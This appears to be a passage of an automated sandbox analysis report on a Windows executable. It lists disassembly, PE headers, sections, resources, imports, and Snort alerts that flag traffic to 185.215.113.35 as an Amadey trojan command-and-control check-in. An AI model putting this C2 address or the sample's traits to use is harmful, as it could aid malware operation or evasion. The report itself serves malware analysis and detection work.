call 00007F43B4DFC0D0h
add esp, 04h
call 00007F43B4E01D48h
test eax, eax
jne 00007F43B4DFBF8Ch
push 00000010h
call 00007F43B4DFC0BDh
add esp, 04h
push 00000001h
call 00007F43B4E01C93h
add esp, 04h
call 00007F43B4E03C0Bh
mov dword ptr [ebp-04h], 00000000h
call 00007F43B4E02CBFh
test eax, eax

Rich Headers

Programming Language:

[LNK] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[C++] VS2010 build 30319
[RES] VS2010 build 30319
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3bda4	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xcb000	0x4170	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xd0000	0x1d30	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x13c0	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x18a48	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x36c	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3c24e	0x3c400	False	0.577671161826	data	6.93440652301	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x3e000	0x8cc40	0xde00	False	0.0329215934685	data	0.442963923176	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0xcb000	0x4170	0x4200	False	0.725201231061	data	6.31427116588	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xd0000	0x3bb6	0x3c00	False	0.40234375	data	4.17421531088	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0xcb190	0x25a8	data	Spanish	Colombia
RT_ICON	0xcd738	0x10a8	data	Spanish	Colombia
RT_STRING	0xce868	0x2c6	data	Divehi; Dhivehi; Maldivian	Maldives
RT_STRING	0xceb30	0x63c	data	Divehi; Dhivehi; Maldivian	Maldives
RT_ACCELERATOR	0xce808	0x60	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_ICON	0xce7e0	0x22	data	Spanish	Colombia

Imports

DLL

Import

KERNEL32.dll

ExitProcess, GetComputerNameA, GetFullPathNameA, LocalUnlock, EnumResourceNamesW, SetCriticalSectionSpinCount, GlobalMemoryStatus, FindResourceA, FindFirstFileW, SetThreadContext, FindFirstChangeNotificationW, WriteConsoleInputW, SetFilePointer, EnumDateFormatsExW, CopyFileExW, GetNumaProcessorNode, TlsGetValue, GetStringTypeA, SetLocalTime, UnmapViewOfFile, MoveFileExA, CommConfigDialogA, BuildCommDCBAndTimeoutsA, DeleteVolumeMountPointA, SetUnhandledExceptionFilter, MoveFileExW, InterlockedDecrement, GetCurrentProcess, WritePrivateProfileSectionA, SetDefaultCommConfigW, SetFirmwareEnvironmentVariableA, QueryDosDeviceA, GlobalLock, SetVolumeMountPointW, SetEvent, SetThreadExecutionState, OpenSemaphoreA, SleepEx, FreeEnvironmentStringsA, _lclose, GetCommConfig, GetProcessHeap, GetNumberFormatA, GetPrivateProfileStringW, CreateRemoteThread, GetCompressedFileSizeW, WaitNamedPipeW, EnumTimeFormatsA, SetCommState, GetSystemWow64DirectoryA, WriteFileGather, TzSpecificLocalTimeToSystemTime, TlsSetValue, AllocateUserPhysicalPages, FindResourceExA, GetConsoleCP, GetPrivateProfileIntA, LoadLibraryW, GetConsoleMode, FatalAppExitW, GetThreadSelectorEntry, CopyFileW, GetPrivateProfileStructW, GetCalendarInfoA, SetSystemTimeAdjustment, GetProcessHandleCount, GetSystemWindowsDirectoryA, ReadConsoleOutputW, GetConsoleAliasExesLengthW, GetSystemTimeAdjustment, GetVersionExW, SetConsoleCP, LeaveCriticalSection, GetFileAttributesA, lstrcpynW, SetDllDirectoryA, SetConsoleMode, HeapValidate, GetVolumePathNamesForVolumeNameW, SetConsoleCursorPosition, GetBinaryTypeA, IsBadWritePtr, TerminateProcess, GetModuleFileNameW, CreateActCtxA, GetBinaryTypeW, lstrcmpW, lstrlenW, IsBadStringPtrA, GetTempPathW, CreateJobObjectA, GetNamedPipeHandleStateW, EnumSystemLocalesA, VerifyVersionInfoW, SetCurrentDirectoryA, GetCPInfoExW, OpenMutexW, GetLastError, ChangeTimerQueueTimer, GetLongPathNameW, SetLastError, GetProcAddress, VirtualAlloc, HeapSize, PeekConsoleInputW, BackupWrite, CreateNamedPipeA, EnumDateFormatsExA, CreateJobSet, LocalLock, SetStdHandle, EnterCriticalSection, VerLanguageNameW, SearchPathA, BuildCommDCBW, DefineDosDeviceA, GetPrivateProfileStringA, GetAtomNameA, OpenMutexA, CreateSemaphoreW, LocalAlloc, WritePrivateProfileStringA, CreateHardLinkW, IsSystemResumeAutomatic, GetExitCodeThread, SetCurrentDirectoryW, SetFileApisToANSI, VirtualLock, GetCurrentConsoleFont, HeapWalk, GetPrivateProfileStructA, SetNamedPipeHandleState, SetSystemTime, SetEnvironmentVariableA, GetModuleFileNameA, GetPrivateProfileSectionNamesA, GetDefaultCommConfigA, FindNextFileA, WriteProfileStringA, WTSGetActiveConsoleSessionId, EnumDateFormatsA, CreateIoCompletionPort, SetConsoleTitleW, GetModuleHandleA, QueueUserWorkItem, ContinueDebugEvent, lstrcatW, HeapSetInformation, FreeEnvironmentStringsW, GetConsoleTitleW, WriteProfileStringW, EnumDateFormatsW, CompareStringA, GetFileAttributesExW, GetConsoleCursorInfo, FatalAppExitA, WriteConsoleOutputAttribute, OutputDebugStringA, SetProcessShutdownParameters, FindFirstVolumeA, TerminateJobObject, CloseHandle, DeleteTimerQueueTimer, DeleteFileW, GlobalAddAtomW, SetFileValidData, FindActCtxSectionStringW, ResetWriteWatch, UnregisterWaitEx, InterlockedPushEntrySList, CopyFileExA, lstrcpyA, MoveFileA, DeleteFileA, EncodePointer, DecodePointer, GetCommandLineW, GetStartupInfoW, InterlockedIncrement, GetModuleHandleW, UnhandledExceptionFilter, IsDebuggerPresent, WriteFile, GetStdHandle, IsBadReadPtr, TlsAlloc, GetCurrentThreadId, TlsFree, SetHandleCount, InitializeCriticalSectionAndSpinCount, GetFileType, DeleteCriticalSection, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, GetEnvironmentStringsW, HeapCreate, GetACP, GetOEMCP, GetCPInfo, IsValidCodePage, WriteConsoleW, OutputDebugStringW, RtlUnwind, MultiByteToWideChar, HeapAlloc, HeapReAlloc, HeapQueryInformation, HeapFree, WideCharToMultiByte, LCMapStringW, GetStringTypeW, IsProcessorFeaturePresent, FlushFileBuffers, ReadFile, RaiseException, CreateFileW

Possible Origin

Language of compilation system	Country where language is spoken	Map
Spanish	Colombia
Divehi; Dhivehi; Maldivian	Maldives

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
12/01/21-09:15:27.939009	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.939036	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.939441	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.939458	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.939875	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.940108	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.940662	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.940860	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.942494	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.944501	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.944626	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.944832	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.947079	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.947826	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.949751	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.950441	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.952975	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.952999	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.955087	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.959324	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.959364	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.963602	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.964001	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.964072	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.965997	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.966884	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.967654	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.967915	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.970287	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.973048	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.973490	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.973603	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.973648	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.974255	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.975888	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.976324	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:27.938333	TCP	2027700	ET TROJAN Amadey CnC Check-In	49835	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.017228	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.017357	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.018286	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.019055	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.020556	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.022874	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.025765	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.027190	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.031030	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.033978	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.035708	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.042916	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.046242	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.049292	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.050112	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.051019	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.053931	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.058639	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.061129	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.064584	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.065445	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.066977	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.068433	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.134916	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.138989	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.141726	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.142391	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.143009	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.143070	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.143182	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.143461	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.145481	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.146280	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.147789	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.147916	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.148044	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.149779	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.150140	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.150298	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.150522	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.153331	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.154210	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.156530	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.156545	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.158568	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.159440	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.160579	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.162738	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.163394	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.163834	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.206930	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.215706	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.218116	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.219546	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.223052	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.231899	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.234553	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.239499	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.248922	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.372219	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.374754	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.375537	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.377765	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.379787	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.380489	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.381615	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.382527	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.383883	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.394784	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.395252	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.398801	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.402673	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.404912	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.405663	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.407445	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.407460	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.407994	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.411762	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.439352	TCP	100000122	COMMUNITY WEB-MISC mod_jrun overflow attempt	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.464821	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.465462	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.467554	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.467832	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.469228	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.469912	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.470309	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.471480	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.472389	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.473762	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.474200	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.478022	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.478081	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.478783	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.479197	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.480086	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.480835	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.486962	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.488334	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.493028	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.493263	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.579528	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.580016	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.580057	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.580111	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.580574	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.582318	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.582604	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.582619	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.582902	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.584358	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.585166	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.585438	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.585556	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.586001	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.590867	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.594124	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.594133	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.594342	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.596731	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.600072	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.618370	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.641513	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.643203	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.651792	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.660490	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.662041	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.662645	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.663005	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.663175	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.663906	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.701458	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.701827	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.702723	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.703395	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.704151	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.704241	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.705690	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.705865	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.707339	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.708021	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.708596	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.708895	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.710438	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.711383	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.715417	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.716333	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
